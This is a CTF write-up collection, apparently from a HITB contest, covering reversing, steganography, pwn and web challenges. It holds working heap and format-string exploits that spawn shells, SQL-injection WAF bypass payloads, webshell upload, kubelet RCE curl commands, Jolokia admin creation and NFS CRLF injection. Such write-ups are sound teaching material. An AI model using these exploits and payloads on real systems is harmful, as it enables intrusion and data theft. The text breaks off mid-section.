The communication with the backdoor is compressed. and it use zlib. Also, the communication format is json.
The backdoor will give you flag if your command is `{"action":"GetFlag"}`. We found this rule in `main.Process`
Now we have the flag `HITB{4e773ff1406800017933c9a1c9f14f35}`
### hex (sasdf)A arduino challenge, data is in intelhex format. I use helper script `hex2bin.py` from intexHex python library to generate binary.
#### First tryLoaded in disassembler with MCU as AVR, you can easily find pattern below keep repeating started from 0x987 (in IDA, or 0x130e in radare2)```asmldi r22, 0xXXldi r24, 0x77ldi r25, 0x01call 0xffaldi r22, 0xf4ldi r23, 0x01ldi r24, 0x00ldi r25, 0x00call 0xbdaldi r22, 0xXXldi r24, 0x77ldi r25, 0x01call 0xf62ldi r22, 0x88ldi r23, 0x13ldi r24, 0x00ldi r25, 0x00call 0xbda```I dumped all `XX` bytes in previous pattern but didn't figure out how to decode it. So I decided to dig into these functions. It tooks me about half hour to manually decompile `fcn.ffa` to following (wrong) psuedo code:```pythonr26 = 0x77if r22 >= 136: r31 = 0 r30 = r22 & 0x7f mem[0x77+4] |= (1 << r30) r22 = 0else: r22 + 0x78
if r22 not in mem[0x77+6:0x77+0xc]: # six slots try: slot = mem[0x77+6:0x77+0xc].index(0) except: mem[0x77+3] = 0 mem[0x77+2] = 1 return mem[0x77+6+slot] = r22
fcn_e7e()```I gave up.
#### Second tryAfter the third hint `Keyboard` is out, I suddenly realized that MCU of Arduino Micro is ATmega32u4, a USB enabled device, rather than common arduino MCU ATmega328p. Everything makes sense now. The structure in 0x77 must be USB keyboard report which has 6 slot (a obvious sign if you are familar with NKRO or know the difference between PS2 and USB keyboard). Here's source code from Arduino's Keyboard library:```C++size_t Keyboard_::press(uint8_t k) { uint8_t i; if (k >= 136) { // it's a non-printing key (not a modifier) k = k - 136; } else if (k >= 128) { // it's a modifier key _keyReport.modifiers |= (1<<(k-128)); k = 0; } else { // it's a printing key k = pgm_read_byte(_asciimap + k); if (!k) { setWriteError(); return 0; } if (k & 0x80) { // it's a capital letter or other character reached with shift _keyReport.modifiers |= 0x02; // the left shift modifier k &= 0x7F; } } // Add k to the key report only if it's not already present // and if there is an empty slot. if (_keyReport.keys[0] != k && _keyReport.keys[1] != k && _keyReport.keys[2] != k && _keyReport.keys[3] != k && _keyReport.keys[4] != k && _keyReport.keys[5] != k) { for (i=0; i<6; i++) { if (_keyReport.keys[i] == 0x00) { _keyReport.keys[i] = k; break; } } if (i == 6) { setWriteError(); return 0; } } sendReport(&_keyReport); return 1;}```Ahh, `fcn.ffa` is `Keyboard::_press`!! It turns out that `fcn.f62` is `Keyboard::_release` and `fcn.bda`, which use timer register `TCNT0`, is `delay`.
Take our previous dump of parameters, convert it to keystroke, and the flag shows up.``` $##&:|#| !##| ;&&&&&&$# #$##@|. `%##@; :@#$` |#| |#| ;#%. !#! .%#| #&#! |#| #&@: :#%. ;#####|.|#| .|####$` #&###|!@%. ;#| |#; |#! :@$` ;#%.`:@%. |#! |#| `. :@$` ;#&# .%#%. !#| .%##@&##@# :&#! ;#%. :@$` #&$` |#! |#| `%#####&#.%#!#####;#%`!#@; ;#$` ;##! ;#$` ;#%.` $#$` |#! |#| .%#@%&@#&# |####&&#%. ;#| !##@@##%` :@#######$. `$##@##! @%.```
P.S. I think if you find an Arduino Micro, burn the firmware, plug into PC, then you will get the flag in one hour. No reverse needed.
## misc
### tpyx (sces60107)
The png file is broken. It seems like We need to fix it first.`pngcheck` tell us that it has crc checksum error```shell$ pngcheck -v e47c7307-b54c-4316-9894-5a8daec738b4.png File: e47c7307-b54c-4316-9894-5a8daec738b4.png (1164528 bytes) chunk IHDR at offset 0x0000c, length 13 1024 x 653 image, 32-bit RGB+alpha, non-interlaced chunk IDAT at offset 0x00025, length 1162839 zlib: deflated, 32K window, default compression CRC error in chunk IDAT (computed ecfb2a19, expected ba3de214)ERRORS DETECTED in e47c7307-b54c-4316-9894-5a8daec738b4.png```
When you try to fix the crc checksum, you will notice that the size of IDAT chunk is also wrong. The true size is 1164470 not 1162839
After corrected all faults, just use `zsteg` to detect any interesting things and also extract them.```shell$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png[?] 1 bytes of extra data after image end (IEND), offset = 0x11c4efextradata:imagedata .. file: zlib compressed data......$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png -e extradata:imagedata > zlibdata$ python -c "import zlib; print zlib.decompress(open('zlibdata').read())" > data$ cat data377abcaf271c000382f96c91300000000000000073000000000000003c0e24409c429fdb08f31ebc2361b3016f04a79a070830334c68dd47db383e4b7246acad87460cd00ba62cfae68508182a69527a0104060001093000070b0100022406f107010a5307cb7afbfaec5aa07623030101055d0000010001000c2c2700080a01c35b933000000501110b0066006c00610067000000120a010000844bf3571cd101130a010000e669e866d1d301140a010080ffcdd963d1d301150601008000000000001800345172634f556d365761752b5675425838672b4950673d3d$ cat data | xxd -r -p > data$ file datadata.7z: 7-zip archive data, version 0.3
```Now we have a 7z file, but we need password.The 7z file is actually appended with the password.```shell$ xxd data00000000: 377a bcaf 271c 0003 82f9 6c91 3000 0000 7z..'.....l.0...00000010: 0000 0000 7300 0000 0000 0000 3c0e 2440 ....s.......<.$@00000020: 9c42 9fdb 08f3 1ebc 2361 b301 6f04 a79a .B......#a..o...00000030: 0708 3033 4c68 dd47 db38 3e4b 7246 acad ..03Lh.G.8>KrF..00000040: 8746 0cd0 0ba6 2cfa e685 0818 2a69 527a .F....,.....*iRz00000050: 0104 0600 0109 3000 070b 0100 0224 06f1 ......0......$..00000060: 0701 0a53 07cb 7afb faec 5aa0 7623 0301 ...S..z...Z.v#..00000070: 0105 5d00 0001 0001 000c 2c27 0008 0a01 ..].......,'....00000080: c35b 9330 0000 0501 110b 0066 006c 0061 .[.0.......f.l.a00000090: 0067 0000 0012 0a01 0000 844b f357 1cd1 .g.........K.W..000000a0: 0113 0a01 0000 e669 e866 d1d3 0114 0a01 .......i.f......000000b0: 0080 ffcd d963 d1d3 0115 0601 0080 0000 .....c..........000000c0: 0000 0018 0034 5172 634f 556d 3657 6175 .....4QrcOUm6Wau000000d0: 2b56 7542 5838 672b 4950 673d 3d +VuBX8g+IPg==$ 7z x data -p4QrcOUm6Wau+VuBX8g+IPg==..Extracting flag..$ cat flagHITB{0c88d56694c2fb3bcc416e122c1072eb}```
### readfile (sces60107)
It seems like the non-punctuation letter will be filtered.
So I try to readfile with `Arithmetic expansion`
The payload is `$(</????/????_??_????/*)`
Then we can read the flag `HITB{d7dc2f3c59291946abc768d74367ec31}`
### pix (sces60107)
Use `zsteg` to extract a keepassX database file
```shell$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGateimagedata .. text: " !#865 "b1,r,msb,xy .. text: "y5b@2~2t"b1,rgb,lsb,xy .. file: Keepass password database 2.x KDBXb2,r,msb,xy .. text: "\rP`I$X7D"b2,bgr,lsb,xy .. text: "b;d'8H~M"b4,g,msb,xy .. text: ";pTr73& dvG:"$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate -e b1,rgb,lsb,xy > keedatabase.kbdx```
Now we have to launch a dictionary attack against this database. then I found [this](https://www.rubydevices.com.au/blog/how-to-hack-keepass)
Finally, I found the password and also found the flag found the flag from the database.
The flag is `HITB{p1x_aNd_k33pass}`
## pwn
### once (kevin47)
#### Vulnerability* Fd and bk of the link list can be overwritten
#### Exploit```python#!/usr/bin/env python2
from pwn import *from IPython import embedimport re
context.arch = 'amd64'
r = remote('47.75.189.102', 9999)lib = ELF('./libc-2.23.so')
# leakr.sendline('0')r.recvuntil('choice\n')x = r.recvuntil('>', drop=True)libc = int(x, 16) - 0x6f690lib.address = libcprint hex(libc)
# stage 1# overwrite bkr.sendline('2')ubin = libc + 0x3c4b70-8+0x10+8r.send(flat(0xdeadbeef, 0x101, 0xdeadbeef, ubin))r.sendlineafter('>', '1')# unlinkr.sendlineafter('>', '3') # ubin -> bss
# stage 2#r.sendline('4')r.sendlineafter('>', '4')# alloc on bssr.sendlineafter('>', '1')r.sendlineafter('size:', str(0x100-8))# write bssstdout, stdin = libc+0x3c5620, libc+0x3c48e0binsh = libc+1625367payload = [ 0, lib.symbols['__free_hook'], # link list bk to overwrite free hook stdout, 0, stdin, 0, 0, binsh, # ptr containing "/bin/sh" [0]*10, # flags = 0]r.sendlineafter('>', '2')r.send(flat(payload))# we can edit1 again :), plus bk is on free hook# back to stage 1r.sendlineafter('>', '4')
# ovewrite free_hookr.sendlineafter('>', '2')r.send(flat(lib.symbols['system']))
# stage 2r.sendlineafter('>', '4')# free(ptr) == system("/bin/sh")r.sendlineafter('>', '3')
r.interactive()
# HITB{this_is_the_xxxxxxx_flag}```
### gundam (kevin47)
#### Overview```Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled```There are 4 operations:1. Build a gundam2. Visit gundams3. Destroy a gundam4. Blow up the factory
The structure of a gundam is:``` +---------+ |flag | 0x100 +---------+ +--------------------+ |name_ptr |---->| name | 0x28 +---------+ +--------------------+ |type(str)| | | | | +---------|```* An array of pointer to the gundam structure is on bss.* When a gundam is builded, the program malloc chunks of size 0x28 and 0x100 as shown above, set them properly, and store into the array of pointer on bss.* Visit gundams prints gundams' index, name and type that are not destroyed.* Destroy a gundam sets the flag to 0 and frees the name* Blow up the factory frees the gundam structures that flag are 0.
#### Vulnerability* Read name without ending null byte, which can be used to leak.* Destroy a gundam does not clear the name_ptr, which leads to use after free (double free).* The program is running with libc-2.26, which implemented a new feature called tcache to improve performance. However, it does not perform any sanity check for performance's sake. That is, fastbin dup attack can be done anywhere any size without satisfying the size's contraint.
#### Leak* Leaking libc addres will be a little bit more complicated than older versions of libc, since tache acts like fastbins and only have heap address on it.* However, tcache has a maximun of 7 chunks. By freeing more than 7 chunks, the remaining chunks will be treated as usual. That is, the chunks of size 0x100 will be at unsorted bins and small bins rather than tache, which contains libc address.
#### Exploit* Leak libc and heap addresses.* Use fastbin dup attack to malloc a chunk on **&__free_hook**. Note that in older version of libc we have to `free(a); free(b); free(a);` to bypass double free check. But tache doesn't check, so it can be done simply by `free(a); free(a);`* Overwrite **__free_hook** to **system**. After that, Destroying a gundam with the name `/bin/sh`, which calls `free(name)` will be converted to `system("/bin/sh")`
``` python#!/usr/bin/env python2
from pwn import *from IPython import embedimport re
context.arch = 'amd64'
r = remote('47.75.37.114', 9999)lib = ELF('./libc.so.6')
def build(name, typee): r.sendlineafter('choice : ', '1') r.sendafter('gundam :', name) r.sendlineafter('gundam :', str(typee))
def visit(): r.sendlineafter('choice : ', '2') return r.recvuntil('1 . Build', drop=True)
# double freedef destroy(idx): r.sendlineafter('choice : ', '3') r.sendlineafter('Destory:', str(idx))
def blow_up(): r.sendlineafter('choice : ', '4')
# leakfor i in range(9): build(chr(0x11*(i+1))*16, 0)for i in range(8): destroy(i)blow_up()for i in range(7): build(chr(0x11*(i+1)), 0)build('a'*8, 0)x = visit()xx = re.findall('0\] :(.*)Type\[0', x, re.DOTALL)[0]heap = u64(xx.ljust(8, '\x00')) - 0x811xx = re.findall('aaaaaaaa(.*)Type\[7', x, re.DOTALL)[0]libc = u64(xx.ljust(8, '\x00')) - 0x3dac78lib.address = libcprint hex(heap)print hex(libc)
# exploit# trigger double free libc 2.26 doesn't do any sanity check on tcache# libc 2.26 is awesome!!destroy(2)destroy(1)destroy(0)destroy(0)blow_up()build(flat(lib.symbols['__free_hook']), 0)build('/bin/sh\x00', 0)build(flat(lib.symbols['system']), 0)destroy(1)
#embed()r.interactive()
# HITB{now_you_know_about_tcache}```
### d (kevin47)
#### Overview```Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)```There are 3 operations:1. Read message2. Edit message3. Wipe message
* On read message, we enter a base64 encoded string, the program decodes it and stores in the heap, with ending null byte* Edit message read `strlen(message)` bytes to the message.* Wipe message frees the message and clears the pointer
#### Vulnerability* Base64 decode does not check the length properly. If we send `'YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQ'` which is `base64encode('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')` without the ending `'=='`, the decoder miscalculates the length of the string, which leads to no ending null byte. Edit message then could be used to overwrite next chunk's size.
#### Exploit* Use poinson null byte to create overlapped chunks.* Use fastbin dup attack to malloc a chunk on bss, where the pointers are.* We can overwrite the pointers, which leads into arbitrary memory write.* Change free@got to puts@plt, this enable us to leak libc address.* Change atoi@got to system. After this, when reading choice we can enter `/bin/sh`, which calls `atoi(buf)` that is `system('/bin/sh')` now.```python #!/usr/bin/env python2
from pwn import *from IPython import embedimport re
context.arch = 'amd64'
r = remote('47.75.154.113', 9999)
def new_msg(idx, content): r.sendlineafter('Which? :', '1') r.sendlineafter('Which? :', str(idx)) r.sendlineafter('msg:', content)
def edit_msg(idx, content, pwn=0): r.sendlineafter('Which? :', '2') r.sendlineafter('Which? :', str(idx)) if pwn: r.sendafter('msg:', content) else: r.sendlineafter('msg:', content)
def del_msg(idx): r.sendlineafter('Which? :', '3') r.sendlineafter('Which? :', str(idx))
def b64e(c): return c.encode('base64').replace('\n', '')
def exp_new_msg(idx, content): b64 = b64e(content) if b64[-2] == '=': new_msg(idx, b64[:-2]) elif b64[-1] == '=': new_msg(idx, b64[:-1]) else: new_msg(idx, b64)
# 40 & 41 are the magic numbers :)exp_new_msg(0, 'a'*40)new_msg(1, b64e('a'*0x203))new_msg(2, b64e('a'*0x100))edit_msg(1, flat( [0xdeadbeef]*28, 0xf0, 0x20, 0, 0, [0xaabbccdd]*30, 0x200, 0x120,))
# overflow 1's size (unsorted bin)del_msg(1)edit_msg(0, 'a'*40)
new_msg(3, b64e('b'*0x100))new_msg(4, b64e('c'*0x60))del_msg(3)del_msg(2)# for fastbin attackdel_msg(4)
# overlapped chunks, overwrite fastbin->fdnew_msg(5, b64e('d'*0x200))fast_bin_addr = 0x60216dedit_msg(5, flat( [0]*32, 0, 0x71, fast_bin_addr,))
new_msg(6, b64e('a'*0x60))# on bssnew_msg(60, b64e('A'*0x60))free_got = 0x602018strlen_got = 0x602028atoi_got = 0x602068puts_plt = 0x400770alarm_plt = 0x4007b0edit_msg(60, 'BBB'+flat(free_got, atoi_got, atoi_got, strlen_got))
# free -> putsedit_msg(0, flat(puts_plt))# free(1) == puts(atoi_got)del_msg(1)x = r.recvuntil('1. read')xx = x[8:14].ljust(8, '\x00')libc = u64(xx)-0x36e80system = libc + 0x45390print 'libc:', hex(libc)
# strlen -> alarm to bypass read_n len restrictionedit_msg(3, flat(alarm_plt))# atoi -> systemedit_msg(2, flat(system)[:-1])r.sendline('/bin/sh')
r.interactive()
# HITB{b4se364_1s_th3_b3st_3nc0d1ng!}```
### babypwn (how2hack)
#### VulnerabilityA challenge with format string vulnerability without given binary.
#### SolutionMy first intuition is to find the `.got.plt` section and overwrite something into `system`. As the binary has no PIE enabled (can find out by leaking some address out and you will notice there are a lot of address start with `0x40XXXX` or `0x60XXXX`), we can guess the `.got.plt` section is around `0x601000`.
```0x601000 0x202020600e200x601008 0x7fb6b46171680x601010 0x7fb6b44078700x601018 0x7fb6b409c6b00x601020 0x102020202020 # ????0x601028 0x7fb6b4094d800x601030 0x7fb6b4123d60```I was unable to leak `0x601020` for some reason.I try to leak the called functions as well.```0x4003c5 gets ?@0x4003ca stdin ?@0x4003d0 printf ?@0x4003d7 stdout ?@0x4003de stderr ?@0x4003e5 usleep ?@0x4003ea setbuf ?@0x4003f1 __libc_start_main ?@```Then I have to leak the libc version, but I am too lazy to do it so I try to find my local libc and check for the offset.```gets: 0x6ed80 (0x601028)printf: 0x55800 (0x601020)?usleep: 0xfdd60 (0x601030)```Now I understand why `0x601020` was unable to leak because of the null byte of its offset. I confirmed this by checking `0x601021` and I got this:```0x601021 0x7f3e9ac0d8 (end with '8', so the offset should be '800')```Finally, overwrite `printf` to `system` then we get the shell.
#### Exploit```python#!/usr/bin/env python
from pwn import *
host = '47.75.182.113'port = 9999
r = remote(host, port)
def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = '%' + str(result) + 'c' elif prev == word: result = 0 else: result = 256 - prev + word fmtstr = '%' + str(result) + 'c' fmtstr += '%' + str(index) + '$hhn' return fmtstr
sleep(5)
system_off = 0x45390printf_plt = 0x601020gets_plt = 0x601028gets_off = 0x6ed80
payload = '%7$s ' + p64(gets_plt)r.sendline(payload)gets = u64(r.recv(1000, timeout=1)[:6].ljust(8, '\x00'))print 'gets:', hex(gets)
libc = gets - gets_offprint 'libc:', hex(libc)
system = libc + system_offprint 'system:', hex(system)
payload = ''prev = 0for i in range(3): payload += fmt(prev, (system >> 8 * i) & 0xff, 11 + i) prev = (system >> 8 * i) & 0xff
payload += 'A'*(8 - (len(payload) % 8))payload += p64(printf_plt) + p64(printf_plt+1) + p64(printf_plt+2)
r.sendline(payload)
r.recv(1000)sleep(1)
r.sendline('/bin/sh')r.sendline('cat flag')flag = r.recvline()
log.success('FLAG: ' + flag)``````[+] Opening connection to 47.75.182.113 on port 9999: Donegets: 0x7f99aca0dd80libc: 0x7f99ac99f000system: 0x7f99ac9e4390[+] FLAG: HITB{Baby_Pwn_BabY_bl1nd}[*] Closed connection to 47.75.182.113 port 9999```
## web
### Upload (bookgin)
#### Find the targetFirst, we can upload some images to the server. With some manual tests, we found we can upload `.PHP` to the server, since `.php` is WAFed. Addiotionally, we notice that the server OS is running Microsoft IIS, so the filesystem is case-insensitive.
Next, we have to dig how to access our webshell. We have no idea the directory name of the uploaded files.
Therefore, the objective is very clear: retrieve the path name of the directory.
It's Windows+PHP, so let's give this a try. Refer to [onsec whiltepaper - 02](http://www.madchat.fr/coding/php/secu/onsec.whitepaper-02.eng.pdf) page 5. I even write a post about this feature in [my blog](https://bookgin.github.io/2016/09/07/PHP-File-Access-in-Windows/) (in Chinese).
#### Brute force the path and RCEHere is the brute script:
```python#!/usr/bin/env python3# Python 3.6.4import requestsimport stringsess = requests.session()
name = ''while True: print(name) for i in string.digits + string.ascii_letters: guess = name + str(i) if 'image error' not in sess.get('http://47.90.97.18:9999/pic.php?filename=../' + guess + '%3C/1523462240.jpg').text: name += str(i) break```
We have RCE now. Next, we found the flag is in `../flag.php`, but some php useful function is disabled. A quick bypass is `highlight_file`. Here is the web shell:```phpuser->updateavatar($data)) quit('Something error!');} else{ //TODO！report it！ $out="Your avatar is invalid, so we reported it".""; $report=$this->user->getreport(); if($report){ $out.="Your last report used email ".htmlspecialchars($report[2],ENT_QUOTES).", and report type is ".$report[3]; } include("templates/error.html"); if(!$this->user->report(1)) quit('Something error!'); die();} ```
Also, when insering a new report, it seems vulnerable to SQL injection. Unlike other edting features in the website, the email address here is not properly escaped through `addslashes()`.
```phpfunction report($type_id){ return $this->db->Insert("reports",array($this->id,"'$this->email'",$type_id));} ```
But how to trigger this error in order to create a new report? We have to make the test failed `file_exists($avatar)`. The `$avatar` is the filepath of our avatar, and the fiepath is `upload/[USERNAME].png`. In order to make the file somehow "disappeared", we can make avatar.filepath length limit `varchar(300)` in the SQL schema very long, because in the source code:```php$filename="uploads/".$this->user->getuser().".".$type;if(is_uploaded_file($_FILES['avatar']['tmp_name'])){ $this->user->edit("avatar",array($filename,$type));```
Simply register a user with username length 300, and the avatar.filepath will be truncated.
Next, in order to exploit SQL injection, we have to bypass the email format regex check and another filter.
#### Bypass WAFs
##### Email format regex check```phpif(!preg_match('/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|([\"].+[\"]))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/i',$value)) return false;```
Taking a closer look, we found it can be bypassed using double quotes. This is a valid email address `"', 17385)#'"@a.aa`.
##### Hacker Filter
```php$preg="\\b(benchmark\\s*?\\(.*\\)|sleep\\s*?\\(.*\\)|load_file\\s*?\\()|UNION.+?SELECT\\s*(\\(.+\\)\\s*|@{1,2}.+?\\s*|\\s+?.+?|(`|\'|\").*?(`|\'|\")\\s*)|UPDATE\\s*(\\(.+\\)\\s*|@{1,2}.+?\\s*|\\s+?.+?|(`|\'|\").*?(`|\'|\")\\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|\'|\").*?(`|\'|\"))FROM(\\{.+\\}|\\(.+\\)|\\s+?.+?|(`|\'|\").*?(`|\'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";if(preg_match("/".$preg."/is",$string)){ die('hacker');} ```
This regex almost filters all the useful keywords in SQL. However, we note that the first character `b` in the regex, which means [word match](http://php.net/manual/en/function.preg-match.php#105924). Thus, we can just append a MySQL comment `/**/` to bypass the filter!
#### Get the flag
The payload will be like this. In order to creat a valid SQL query, the `#` is required to comment out the trailing `@a.aa` in the email address.```"', 12), (10272, (SELECT * FROM/**/ users), 9487)#"@a.aa```
So the raw SQL query in the server side becomes:```insert into reports (`...`, `...`) values (9453 , '"', 12), (10272, (SQLi PAYLOAD), 9487)#"@a.aa' , 1 )```
After retriving the table and column name using group_concat and information_schema, we are able to get the flag.
Final payload: `"', 9453), (10272, (SELECT GROUP_CONCAT(fllllag_is_hhhhere) FROM/**/ fffflag_is_here), 9487)#"@a.aa`
The flag is `HITB{2e9ular131mp0rt4nt}`.
Refer to [SQL injection cheatsheet by pentestmonkey](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
### baby baby (bookgin)
#### Recon
The NMAP scanning result shows 3 ports are opened:
- 80: HTTP + nginx- 9999: HTTP + nginx- 10250: HTTPS + unkownn backend
First, the 80 port webserver is running PHP as backend. For the port 9999, it returns 403 forbidden when accessing the root. How about trying to access `index.php` ? To our surprise we got this:
```phpThis is a pentest challenge, open your mind!
```
Note that ther are 2 underscores. After wasting 2 hours on finding a way to exploit this backdoor, we think this direction is incorrect. It's just a troll.
So how about the 10250 port? We use Dirbuster to brute force the filepath at a very low rate (2 request per second), to not affect other teams. Quickly it finds 2 intersting pages:
- https://47.75.146.42:10250/metrics- https://47.75.146.42:10250/stats
After Googling, this is related to kubelet API. Acctually, we can just Google the port number and found it. However we fotgot to do that...... It's really dumb to do directory name brute force.
Another quick Google, we found the kubelet API is vulnerable to RCE. Refer to https://github.com/bgeesaman/hhkbe, page P.35.
#### RCE
- Get the info of running pods: `curl -sk https://47.75.146.42:10250/runningpods/`- RCE: `curl -sk https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test -d 'cmd=cat /flag.txt'`
The flag is `HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}`. (The acronym of kubernetes is k8s)
### baby nya (bookgin)
The hint: `the tomcat deployed jolokia.war`
#### Exposed Jserv protocol
2 ports are open:
- 8009: ajp13 Apache Jserv- 9999: nginx HTTP
The 9999 port will only return `<h1>debug port for admin, you can just ignore the port.</h1>`. We trust him so we didn't dig it deeper.
For the 8089 port, it exposes the Jserv protocol, we can set up a apache as a local proxy server to coonect tot the remote webserver. Refer to https://highon.coffee/blog/sleepy-ctf-walkthrough/#apache-tomcat-jserv-proxy-setup .
A quick dive into the webserver, we found the jolokia API can be used. For the document, refer to https://jolokia.org/reference/html/protocol.html .
#### Exploit the jolokia
Refer to https://paper.seebug.org/552/
- List APIs : `/jolokia/list`- CreateAdmin Account and login: POST 3 jsons requests, Here is the script. You can use curl to send json request as well.```#!/usr/bin/env python3# Python 3.6.4import requestsimport jsonsess = requests.session()
payload = { 'type':'EXEC', "mbean": "Users:database=UserDatabase,type=User,username=\"taiwannoooo1\"", #'mbean':'Users:database=UserDatabase,type=UserDatabase', 'operation':'addRole', #'arguments':['manager-gui'], 'arguments':['taiwannoooo1', 'TAIWAN', 'i_love_taiwan'],}
response = sess.post('http://MY_SERVER_IP/jolokia', json=payload)
response_json = json.loads(response.text)response_json = json.dumps(response_json, indent=2, sort_keys=True)print(response_json)print(response.status_code)```- Login to admin interface: `/manager/`
The flag is displayed in the manager interace. `HITB{TOMCAT_TOMCAT_KAWAII}`
### baby fs (unsolved, written by bookgin, thanks to the organizer QQ group)
**This writeup is from organizer QQ group (not IRC).**
- The parameters: ip, permission, squash, path- Problem name: baby fs- HTML title: CFS
With the knowledge above, one should know it's a NFS server. The page seems to update `/etc/exports` per key.
Then, the ip parameter can accpeted ip range `1.2.3.4/24`, and it seems vulnerable to CRLF injection.
The payload is `http://47.75.35.123:9999/?action=create&key=8ce29e523ed35f49c7eb38b63c91f269&ip=140.112.0.0%0A/%20*&permission=rw&squash=no_root_squash`.
Then, listing the root directory through `http://47.75.35.123:9999/?action=list&key=8ce29e523ed35f49c7eb38b63c91f269&path=/` shows the flag.
The flag is `HITB{---->}!}<0>cccc}`.
I think this challenge requires some guessing. Until the competition ends, icchy (Tokyo westerns) is the only one who solves this challenge. Additionally, they solve it very quickly after the challenge releases. Congraz to them. They definitely have brorder knowledge!
Update: According to Tokey Westerns' writeup, this problem seems to provide an output with more details when the organizer first releases the challenge, `/data/k989ug3pzj 127.0.0.1(rw,all_squash)`. However, the organizer seems to update this challenge during the competition. The output becomes `/data/k989ug3pzj`, which is less informational. I think the hint in the problem `bug fixed of baby fs on creating directory` explains this. They acctually "fixed" a hint. I don't think it's fair.
### 3pigs (unsolved, written by how2hack)#### Hint>1) this is web pwn>2) Go, I put everything there-----github>3) you can make the size of topchunk very small>4) https://github.com/thr33pigs/3pigs/tree/master/ctf>5) fix the flag
#### Web Challenge? WutFaceYou can get the source code from the given Github link.The webserver using Flask(Python) as backend and connect to another server (which is the 3pigs binary).The vulnerabilities basically not related to web so I think the first hint make sense. >_>User uses this website to make actions and the webserver will communicate with the binary server and return the given responses to the user.
#### First stage (Misc)Before checking the binary, I noticed that there is a kind of "flying pig" that needs a special `secret` code to be able to make it online.```[email protected]('/flypig.php', methods=['POST'])def flypig(): if not isadmin(session): return alert("Not Login!") try: secret = request.form.get('secret',None) secret = secret.decode("base64")[:0xc0] useflypig = getb(session).getpigs()[-1].status for i in 'UOTp%I()<>S': if i in secret: return 'Hacker' secret = secret.format("") except: return 'Input Error' ret = getb(session).flypig(secret,useflypig) if secret else "No Secret" if ret == 'Time Out': logout() return ret else: return ret```And from the binary, there is a `flypig()` function:```Cvoid flypig() { puts("secret:"); read_n_input(s1, 9); if ( unk_203090 || strncmp(s1, "UOTp%I<S", 8uLL) ) { puts("Error_4"); } else { unk_203088 = malloc(0x70uLL); unk_203090 = 1; puts("Success"); }}```Obviously, the `secret` code is `UOTp%I<S`.However, the webserver filtered all these characters, which means you can't use this function at all! (really?)
#### Python Format String VulnerabilityI was wondering why `secret = secret.format("")` is in the code, so I try to Google it and I found http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/ about danger of Python Format String function, pretty interesting...The idea is, we can use the attribute of python `str` and also the format string feature to create the `secret` code.```>>> dir('')['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>> ''.__doc__"str(object='') -> string\n\nReturn a nice string representation of the object.\nIf the argument is a string, the return value is the same object."
>>> ''.__doc__[77]'I'```Basically all the attribute itself has `__doc__`, so try to find every characters you need from `str` attributes.
```>>> secret = '{0.__getslice__.__doc__[56]}{0.count.__doc__[128]}{0.__new__.__doc__[0]}{0.count.__doc__[129]}{0.__mod__.__doc__[19]}{0.__class__.__doc__[77]}{0.__le__.__doc__[12]}{0.count.__doc__[0]}'>>> secret.format('')'UOTp%I<S'```
Payload: `{0.__getslice__.__doc__[56]}{0.count.__doc__[128]}{0.__new__.__doc__[0]}{0.count.__doc__[129]}{0.__mod__.__doc__[19]}{0.__class__.__doc__[77]}{0.__le__.__doc__[12]}{0.count.__doc__[0]}`
#### Second stage (Pwn)``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```There are 5 functions:1. Add a pig (`malloc(0xc8)`, max=3)2. Free a pig (`free(pig)`, and set pointer to `'\0'`)3. Get pigs (Print out the info of all pigs)4. Flypig (A special pig that need a `secret` code, `malloc(0x70)`, can only use once, cannot be freed)5. Flying (Give "Flypig" 16 bytes data, can only use once)
The structure of a normal pig:```+----------------+----------------+ <- current| | size(0xd0) |+----------------+----------------+| pig_name | (unused) |+----------------+----------------+| || data (0xb8) || || +----------------+ <- next | | topchunk_size |+----------------+----------------+```
#### Vulnerability* one-byte-off```Cvoid read_input(char* buf, int num) { v3 = read(0, buf, num); if ( v3 <= 0 ) { puts("Error_0"); exit(0); } if ( buf[v3 - 1] == '\n' ) buf[v3 - 1] = '\0'; else buf[v3] = '\0';}```From the read_input function, if we read `num` chars, then it will trigger one-byte-off vulnerability. Basically we can use this to overwite `topchunk` size (as the hint said).
* Flying pig (overwrite next chunk first 16 bytes data)```Cvoid flypig() { ... flypig_addr = malloc(0x70); ...}
